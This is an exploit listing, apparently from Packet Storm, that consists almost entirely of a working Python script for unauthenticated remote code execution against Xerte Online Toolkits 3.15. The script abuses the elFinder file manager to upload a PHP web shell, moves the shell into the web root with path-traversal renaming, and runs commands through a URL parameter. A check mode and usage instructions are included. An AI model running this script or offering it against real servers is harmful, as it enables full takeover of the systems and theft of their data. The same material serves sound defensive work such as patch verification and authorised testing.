Share
## https://sploitus.com/exploit?id=PACKETSTORM:225124
==================================================================================================================================
| # Title : Xerte Online Toolkits 3.15 Unauthenticated Remote Code Execution Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://github.com/bootstrapbool/xerteonlinetoolkits-rce |
==================================================================================================================================
[+] Summary : This Python script is an exploit tool for Xerte Online Toolkits targeting multiple vulnerabilities (CVE-2026-34413, CVE-2026-34414, CVE-2026-34415, CVE-2026-41459) in the elFinder file manager integration.
[+] Payload :
#!/usr/bin/env python3
import argparse
import base64
import random
import re
import string
import sys
from urllib.parse import urljoin, urlparse
import requests
from bs4 import BeautifulSoup
class XerteExploit:
def __init__(self, target_url, username=None, webroot=None, proxy=None):
"""
Initialize the Xerte exploit.
Args:
target_url (str): Base URL of the Xerte installation
username (str, optional): Valid username. If None, assumes guest authentication.
webroot (str, optional): Full filepath to the local webroot
proxy (str, optional): Proxy URL (e.g., http://127.0.0.1:8080)
"""
self.target_url = target_url.rstrip('/')
self.username = username
self.webroot = webroot
self.session = requests.Session()
if proxy:
self.session.proxies = {'http': proxy, 'https': proxy}
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
self.root_dir_id = 'l1_Lw'
self.nottingham_suffix = '--Nottingham' if not username else f'-{username}-Nottingham'
def _get_webroot(self):
"""Retrieve the webroot from the /setup/ endpoint."""
uri = urljoin(self.target_url, 'setup/')
print(f"[*] Attempting to retrieve webroot from {uri}")
try:
res = self.session.get(uri, timeout=10)
except requests.RequestException as e:
print(f"[!] Failed to connect: {e}")
return None
if res.status_code != 200:
print("[!] Failed to connect to /setup. It was likely removed by an administrator.")
return None
soup = BeautifulSoup(res.text, 'html.parser')
for element in soup.find_all(text=re.compile(r"Delete 'database\.php' from")):
code = element.find_next('code')
if code:
return code.text.strip()
return None
def _get_elfinder_id(self, name, volume_id='l1'):
"""Generate elFinder ID for a given name."""
encoded = base64.b64encode(name.encode()).decode()
encoded = re.sub(r'=+$', '', encoded)
return f"{volume_id}_{encoded}"
def _create_dir(self, connector_uri, params, dirname, root_dir_id):
"""Create a directory using elFinder."""
dir_id = self._get_elfinder_id(dirname)
create_dir_params = params.copy()
create_dir_params.update({
'cmd': 'mkdir',
'name': dirname,
'target': root_dir_id
})
try:
res = self.session.get(connector_uri, params=create_dir_params, timeout=10)
except requests.RequestException as e:
print(f"[!] Failed to create directory: {e}")
return None
if res.status_code != 302:
print(f"[!] Failed to create directory. Status: {res.status_code}")
return None
return dir_id
def _upload_file(self, connector_uri, params, filename, dir_id, payload):
"""Upload a file using elFinder."""
data = {
'cmd': 'upload',
'target': dir_id
}
files = {
'upload[]': (filename, f'<br>{payload}', 'text/plain')
}
try:
res = self.session.post(
connector_uri,
params=params,
data=data,
files=files,
timeout=30
)
except requests.RequestException as e:
print(f"[!] Failed to upload file: {e}")
return None
if res.status_code != 302:
print(f"[!] Failed to upload file. Status: {res.status_code}")
return None
return self._get_elfinder_id(filename)
def _rename_file(self, connector_uri, params, shellname, dirname, file_id):
"""Rename a file to achieve path traversal."""
rename_params = params.copy()
rename_params.update({
'cmd': 'rename',
'target': file_id,
'name': f"{dirname}/../../../../{shellname}"
})
try:
res = self.session.get(connector_uri, params=rename_params, timeout=10)
except requests.RequestException as e:
print(f"[!] Failed to rename file: {e}")
return False
if res.status_code != 302:
print(f"[!] Failed to rename file. Status: {res.status_code}")
return False
return True
def _generate_random_name(self, length=8):
"""Generate a random alphanumeric string."""
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
def exploit(self):
"""Execute the exploit."""
connector_uri = urljoin(self.target_url, '/editor/elfinder/php/connector.php')
if not self.webroot:
self.webroot = self._get_webroot()
if not self.webroot:
print("[!] Could not determine webroot. Please specify with --webroot")
return False
self.webroot = self.webroot.rstrip('/')
print(f"[*] Application Root: {self.webroot}")
dirname = self._generate_random_name()
filename = f"{dirname}.txt"
shellname = f"{dirname}.php4"
payload = "<?php system($_GET['cmd']); ?>"
success = False
for project_id in range(1, 101):
project_dir = f"/USER-FILES/{project_id}{self.nottingham_suffix}/"
print(f"[*] Attempting {self.webroot}{project_dir}")
project_dir_uri = urljoin(self.target_url, project_dir)
params = {
'uploadDir': f"{self.webroot}{project_dir}",
'uploadURL': project_dir_uri
}
dir_id = self._create_dir(connector_uri, params, dirname, self.root_dir_id)
if not dir_id:
continue
file_id = self._upload_file(
connector_uri,
params,
filename,
self.root_dir_id,
payload
)
if not file_id:
continue
if not self._rename_file(connector_uri, params, shellname, dirname, file_id):
continue
shell_url = urljoin(self.target_url, shellname)
try:
res = self.session.get(shell_url, timeout=10)
if res.status_code == 200:
print(f"[+] Successfully uploaded shell at: {shell_url}")
success = True
break
else:
print(f"[-] Shell not accessible at {shell_url} (Status: {res.status_code})")
except requests.RequestException:
continue
if not success:
print("[!] Exploit failed. The target user likely has no projects.")
return False
print("\n[+] Exploit successful!")
print(f"[+] Shell URL: {shell_url}")
print("[+] Example usage: curl '{}?cmd=id'".format(shell_url))
return True
def check(self):
"""Check if the target is vulnerable."""
uri = urljoin(self.target_url, 'setup/')
print(f"[*] Checking {uri}")
try:
res = self.session.get(uri, timeout=10)
except requests.RequestException as e:
print(f"[!] Failed to connect: {e}")
return False
if res.status_code != 200:
print("[!] /setup not accessible. Target may not be vulnerable.")
return False
soup = BeautifulSoup(res.text, 'html.parser')
for element in soup.find_all(text=re.compile(r"Delete 'database\.php' from")):
code = element.find_next('code')
if code and code.text.strip():
print(f"[+] Target appears vulnerable! Webroot: {code.text.strip()}")
return True
print("[-] Target does not appear vulnerable.")
return False
def main():
parser = argparse.ArgumentParser(
description='Xerte Online Toolkits RCE Exploit (CVE-2026-34413, CVE-2026-34414, CVE-2026-34415, CVE-2026-41459)'
)
parser.add_argument('url', help='Target URL (e.g., http://localhost/xerte)')
parser.add_argument('-u', '--username', help='Valid username. If not provided, assumes guest authentication.')
parser.add_argument('-w', '--webroot', help='Full filepath to the local webroot (e.g., /var/www/html/)')
parser.add_argument('-p', '--proxy', help='Proxy URL (e.g., http://127.0.0.1:8080)')
parser.add_argument('-c', '--check', action='store_true', help='Only check if target is vulnerable')
args = parser.parse_args()
exploit = XerteExploit(
target_url=args.url,
username=args.username,
webroot=args.webroot,
proxy=args.proxy
)
if args.check:
if exploit.check():
sys.exit(0)
else:
sys.exit(1)
else:
if exploit.exploit():
sys.exit(0)
else:
sys.exit(1)
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================